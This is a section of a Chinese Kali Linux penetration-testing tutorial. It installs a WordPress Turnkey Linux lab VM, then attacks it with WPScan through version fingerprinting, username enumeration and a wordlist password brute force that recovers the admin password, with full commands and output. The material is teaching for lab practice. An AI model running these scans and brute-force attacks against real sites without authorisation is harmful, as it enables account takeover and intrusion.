• 3.2 攻击WordPress和其他应用程序
    • 3.2.1 获取WordPress应用程序
    • 3.2.2 安装WordPress Turnkey Linux
    • 3.2.3 攻击WordPress应用程序

    3.2 攻击WordPress和其他应用程序

    今天越来越多的企业利用SAAS(Software as a Service)工具应用在他们的业务中。例如,他们经常使用WordPress作为他们网站的内容管理系统,或者在局域网中使用Drupal框架。从这些应用程序中找到漏洞,是非常有价值的。

    为了收集用于测试的应用程序,Turnkey Linux是一个非常好的资源。Turnkey工具的官方网站是http://www.turnkeylinux.org。本节将下载最流行的WordPress Turnkey Linux发行版。

    3.2.1 获取WordPress应用程序

    获取WordPress应用程序的具体操作步骤如下所示。

    (1)在浏览器中输入http://www.turnkeylinux.org地址,打开的界面如图3.8所示。从该界面下载Turnkey Linux。

    068-01

    图3.8 Turnkey主页

    (2)在该页面列出了许多程序,可以通过向下滚动鼠标查看。由于篇幅的原因,图3.8只截取了一少部分内容。在该页面中,用户可以尝试使用各种软件查找漏洞,并通过工具对这些应用程序来测试用户的技术。本例中将选择测试WordPress,向下滚动鼠标可以看到Instant Search对话框,如图3.9所示。

    068-02

    图3.9 立即搜索

    (3)在该对话框中输入WordPress,然后按下回车键,将显示如图3.10所示的界面。

    069-01

    图3.10 WordPress应用程序

    (4)在该界面可以看到WordPress程序已经找到,此时单击WordPress-Blog Publishing Platform链接进入下载页面,如图3.11所示。

    069-02

    图3.11 Turnkey下载页面

    (5)在该界面选择下载ISO映像文件。单击220MB ISO链接,将显示如图3.12所示的界面。

    069-03

    图3.12 设置邮箱地址

    (6)该界面提示为了安全,需要填写一个邮箱地址。填写完后,单击Subscribe and go straight to download按钮,将开始下载Turnkey WordPress软件。

    3.2.2 安装WordPress Turnkey Linux

    本小节将介绍在VMware Workstation中安装WordPress Turnkey Linux。关于VMware Workstation的使用,在第1章中已经详细介绍过,这里就不再赘述。安装WordPress Turnkey Linux的具体操作步骤如下所示。

    (1)将前面下载的ISO文件导入到光驱中,然后启动此虚拟机,将显示如图3.13所示的界面。

    070-01

    图3.13 TURNKEY初始界面

    (2)在该界面选择Install to hard disk选项,按下“回车键”,将显示如图3.14所示的界面。

    070-02

    图3.14 选择分区方法

    (3)该界面是选择分区的方法。该系统提供了三种方法,分别是使用整个磁盘并设置LVM、使用整个磁盘和手动分区。这里选择第一种,然后单击OK按钮,将显示如图3.15所示的界面。

    071-01

    图3.15 将数据写入磁盘

    (4)该界面显示了分区的信息,这里提示是否将写入改变磁盘并配置LVM呢?如果想要重新分配分区的话,就单击No按钮,否则单击Yes按钮。本例中单击Yes按钮,将显示如图3.16所示的界面。

    071-02

    图3.16 LVM信息

    (5)该界面显示了LVM的配置信息。单击OK按钮,将显示如图3.17所示的界面。

    071-03

    图3.17 使用引导分区的卷组

    (6)该界面提示使用引导分区的卷组来安装系统。此时,单击OK按钮,将显示如图3.18所示的界面。

    072-01

    图3.18 磁盘分区表

    (7)该界面显示了磁盘的分区表信息,此时提示是否要写入数据。这里单击Yes按钮,将显示如图3.19所示的界面。

    072-02

    图3.19 复制数据到磁盘

    (8)该界面显示了复制数据的磁盘的一个进度。复制完后,将显示如图3.20所示的 界面。

    072-03

    图3.20 安装GRUB引导

    (9)该界面提示是否安装GRUB引导加载程序的主引导记录。这里单击Yes按钮,将显示如图3.21所示的界面。

    072-04

    图3.21 是否重启系统

    (10)该界面显示WordPress Turnkey Linux已经安装完成,是否现在重新启动系统。单击Yes按钮,将显示如图3.22所示的界面。

    073-01

    图3.22 Root密码

    (11)在该界面为Root用户设置一个密码。输入密码后,单击OK按钮,将显示如图3.23所示的界面。

    073-02

    图3.23 Root确认密码

    (12)该界面要求再次为Root用户输入相同的密码,单击OK按钮,将显示如图3.24所示的界面。

    073-03

    图3.24 MySQL密码

    (13)在该界面为MySQL服务的Root用户设置一个密码,设置完后单击OK按钮,将显示如图3.25所示的界面。

    073-04

    图3.25 MySQL确认密码

    (14)在该界面再次为MySQL服务的Root用户输入相同的密码,然后单击OK按钮,将显示如图3.26所示的界面。

    073-05

    图3.26 Wordpress用户admin密码

    (15)在该界面要求为Wordpress的用户admin设置一个密码,输入密码后,单击OK按钮,将显示如图3.27所示的界面。

    074-01

    图3.27 Wordpress用户admin确认密码

    (16)在该界面再次为Wordpress用户admin输入相同的密码,然后单击OK按钮,将显示如图3.28所示的界面。

    074-02

    图3.28 设置邮件地址

    (17)该界面提示为Wordpress用户admin设置一个邮件地址,这里使用默认的admin@example.com。然后单击Apply按钮,将显示如图3.29所示的界面。

    074-03

    图3.29 Initialize Hub Services

    (18)该界面显示了初始化Hub服务信息,在该界面单击Skip按钮,将显示如图3.30所示的界面。

    074-04

    图3.30 Security updates

    (19)该界面提示是否现在安装安全更新,这里单击Install按钮,将显示如图3.31所示的界面。

    075-01

    图3.31 WORDPRESS appliance services

    (20)该界面显示了WordPress应用服务的详细信息,如Web地址、Web shell地址和端口、Webmin地址、PHPMyAdmin地址和端口及SSH/SFTP地址和端口等。此时,表明WordPress Turnkey Linux就可以使用了。

    3.2.3 攻击WordPress应用程序

    上一小节介绍了WordPress虚拟机的安装。现在就可以启动WordPress虚拟机,在Kali Linux下使用WPScan攻击它。WPScan是一个黑盒安全扫描器,它允许用户查找Word Press安装版的一些已知的安全漏洞。本小节将介绍使用WPScan工具攻击WordPress应用程序。

    WPScan在Kali Linux中已经默认安装。它的语法格式如下所示:

    1. wpscan [选项] [测试]

    常用的选项如下所示。

    • —update:更新到最新版本。
    • —url|-u :指定扫描WordPress的URL(统一资源定位符)或域名。
    • —force |-f:如果远程站点正运行WordPress,强制WPScan不检查。
    • —enumerate |-e [option(s)]:计算。该参数可用的选项有u、u[10-20]、p、vp、ap、tt、t、vt和at。其中u表示用户名从id1到10;u[10-20]表示用户名从id10到20([]中的字符必须写);p表示插件程序;vp表示仅漏洞插件程序;ap表示所有插件程序(可能需要一段时间);tt表示timthumbs;t表示主题;vt表示仅漏洞主题;at表示所有主题(可能需要一段时间)。
      【实例3-1】使用WPScan攻击WordPress程序的具体操作步骤如下所示。

    (1)在Kali Linux下,查看WPScan的帮助信息。执行命令如下所示:

    1. root@localhost:~# wpscan -h
    2. _______________________________________________________________
    3. __ _______ _____
    4. \ \ / / __ \ / ____|
    5. \ \ /\ / /| |__) | (___ ___ __ _ _ __
    6. \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
    7. \ /\ / | | ____) | (__| (_| | | | |
    8. \/ \/ |_| |_____/ \___|\__,_|_| |_|
    9. WordPress Security Scanner by the WPScan Team
    10. Version v2.2
    11. Sponsored by the RandomStorm Open Source Initiative
    12. @_WPScan_, @ethicalhack3r, @erwan_lr, @gbrindisi, @_FireFart_
    13. _______________________________________________________________
    14. Help :
    15. Some values are settable in conf/browser.conf.json :
    16. user-agent, proxy, proxy-auth, threads, cache timeout and request timeout
    17. ......
    18. m conf/browser.conf.json).
    19. --basic-auth <username:password> Set the HTTP Basic authentication
    20. --wordlist | -w <wordlist> Supply a wordlist for the password bruter and do the brute.
    21. --threads | -t <number of threads> The number of threads to use when multi-threading
    22. requests. (will override the value from conf/browser. conf.json)
    23. --username | -U <username> Only brute force the supplied username.
    24. --help | -h This help screen.
    25. --verbose | -v Verbose output.
    26. Examples :
    27. -Further help ...
    28. ruby ./wpscan.rb --help
    29. -Do 'non-intrusive' checks ...
    30. ruby ./wpscan.rb --url www.example.com
    31. -Do wordlist password brute force on enumerated users using 50 threads ...
    32. ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --threads 50
    33. -Do wordlist password brute force on the 'admin' username only ...
    34. ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --username admin
    35. ......

    执行以上命令后,会输出大量信息。输出的信息中显示了WPScan的版本信息、使用方法及WPScan的例子等。由于篇幅的原因,这里贴了一部分内容,其他使用省略号(……)取代。

    (2)使用WPScan攻击WordPress虚拟机。本例中,WordPress的IP地址是192.168.41.130。执行命令如下所示:

    1. root@localhost:~# wpscan -u 192.168.41.130
    2. _______________________________________________________________
    3. __ _______ _____
    4. \ \ / / __ \ / ____|
    5. \ \ /\ / /| |__) | (___ ___ __ _ _ __
    6. \ \/ \/ /| ___/ \___ \ / __|/ _` | '_ \
    7. \ /\ / | | ____) | (__| (_| | | | |
    8. \/ \/ |_| |_____/ \___|\__,_|_| |_|
    9. WordPress Security Scanner by the WPScan Team
    10. Version v2.2
    11. Sponsored by the RandomStorm Open Source Initiative
    12. @_WPScan_, @ethicalhack3r, @erwan_lr, @gbrindisi, @_FireFart_
    13. _______________________________________________________________
    14. | URL: http://192.168.41.130/
    15. | Started: Thu Apr 17 13:49:37 2014
    16. [!] The WordPress 'http://192.168.41.130/readme.html' file exists
    17. [+] Interesting header: SERVER: Apache/2.2.22 (Debian)
    18. [+] Interesting header: X-POWERED-BY: PHP/5.4.4-14+deb7u8
    19. [+] XML-RPC Interface available under: http://192.168.41.130/xmlrpc.php
    20. [+] WordPress version 3.6.1 identified from meta generator
    21. [+] WordPress theme in use: twentythirteen v1.0
    22. | Name: twentythirteen v1.0
    23. | Location: http://192.168.41.130/wp-content/themes/twentythirteen/
    24. [+] Enumerating plugins from passive detection ...
    25. No plugins found
    26. [+] Finished: Thu Apr 17 13:49:41 2014
    27. [+] Memory used: 2.414 MB
    28. [+] Elapsed time: 00:00:03

    输出的信息显示了WPScan一个简单的攻击过程。

    (3)列出用户名列表,执行命令如下所示:

    1. root@localhost:~# wpscan -u 192.168.41.130 -e u vp
    2. _______________________________________________________________
    3. __ _______ _____
    4. \ \ / / __ \ / ____|
    5. \ \ /\ / /| |__) | (___ ___ __ _ _ __
    6. \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
    7. \ /\ / | | ____) | (__| (_| | | | |
    8. \/ \/ |_| |_____/ \___|\__,_|_| |_|
    9. WordPress Security Scanner by the WPScan Team
    10. Version v2.2
    11. Sponsored by the RandomStorm Open Source Initiative
    12. @_WPScan_, @ethicalhack3r, @erwan_lr, @gbrindisi, @_FireFart_
    13. _______________________________________________________________
    14. | URL: http://192.168.41.130/
    15. | Started: Thu Apr 17 13:50:49 2014
    16. [!] The WordPress 'http://192.168.41.130/readme.html' file exists
    17. [+] Interesting header: SERVER: Apache/2.2.22 (Debian)
    18. [+] Interesting header: X-POWERED-BY: PHP/5.4.4-14+deb7u8
    19. [+] XML-RPC Interface available under: http://192.168.41.130/xmlrpc.php
    20. [+] WordPress version 3.6.1 identified from meta generator
    21. [+] WordPress theme in use: twentythirteen v1.0
    22. | Name: twentythirteen v1.0
    23. | Location: http://192.168.41.130/wp-content/themes/twentythirteen/
    24. [+] Enumerating plugins from passive detection ...
    25. No plugins found
    26. [+] Enumerating usernames ...
    27. [+] We found the following 1 user/s:
    28. +----+-------+-------+
    29. | Id | Login | Name |
    30. +----+-------+-------+
    31. | 1 | admin | admin |
    32. +----+-------+-------+
    33. [+] Finished: Thu Apr 17 13:50:54 2014
    34. [+] Memory used: 2.379 MB
    35. [+] Elapsed time: 00:00:04

    从输出的信息中可以看到当前系统中只有一个用户,名为admin。

    (4)为WPScan指定一个wordlist文件,使用—wordlist <path to file>选项。执行命令如下所示:

    1. root@localhost:~# wpscan -u 192.168.41.130 -e u --wordlist /root/ wordlist.txt
    2. _______________________________________________________________
    3. __ _______ _____
    4. \ \ / / __ \ / ____|
    5. \ \ /\ / /| |__) | (___ ___ __ _ _ __
    6. \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
    7. \ /\ / | | ____) | (__| (_| | | | |
    8. \/ \/ |_| |_____/ \___|\__,_|_| |_|
    9. WordPress Security Scanner by the WPScan Team
    10. Version v2.2
    11. Sponsored by the RandomStorm Open Source Initiative
    12. @_WPScan_, @ethicalhack3r, @erwan_lr, @gbrindisi, @_FireFart_
    13. _______________________________________________________________
    14. | URL: http://192.168.41.130/
    15. | Started: Thu Apr 17 13:54:51 2014
    16. [!] The WordPress 'http://192.168.41.130/readme.html' file exists
    17. [+] Interesting header: SERVER: Apache/2.2.22 (Debian)
    18. [+] Interesting header: X-POWERED-BY: PHP/5.4.4-14+deb7u8
    19. [+] XML-RPC Interface available under: http://192.168.41.130/xmlrpc.php
    20. [+] WordPress version 3.6.1 identified from meta generator
    21. [+] WordPress theme in use: twentythirteen v1.0
    22. | Name: twentythirteen v1.0
    23. | Location: http://192.168.41.130/wp-content/themes/twentythirteen/
    24. [+] Enumerating plugins from passive detection ...
    25. No plugins found
    26. [+] Enumerating usernames ...
    27. [+] We found the following 1 user/s:
    28. +----+-------+-------+
    29. | Id | Login | Name |
    30. +----+-------+-------+
    31. | 1 | admin | admin |
    32. +----+-------+-------+
    33. [+] Starting the password brute forcer
    34. Brute Forcing 'admin' Time: 00:00:00 < > (59 / 20575) 0.28%
    35. ETA: 00:00:00
    36. [SUCCESS] Login : admin Password : 123456
    37. +----+-------+-------+----------+
    38. | Id | Login | Name | Password |
    39. +----+-------+-------+----------+
    40. | 1 | admin | admin | 123456 |
    41. +----+-------+-------+----------+
    42. [+] Finished: Thu Apr 17 13:54:56 2014
    43. [+] Memory used: 2.508 MB
    44. [+] Elapsed time: 00:00:05

    从输出的信息中,可以看到WordPress用户admin的密码已被破解出。

    原文: https://wizardforcel.gitbooks.io/daxueba-kali-linux-tutorial/content/15.html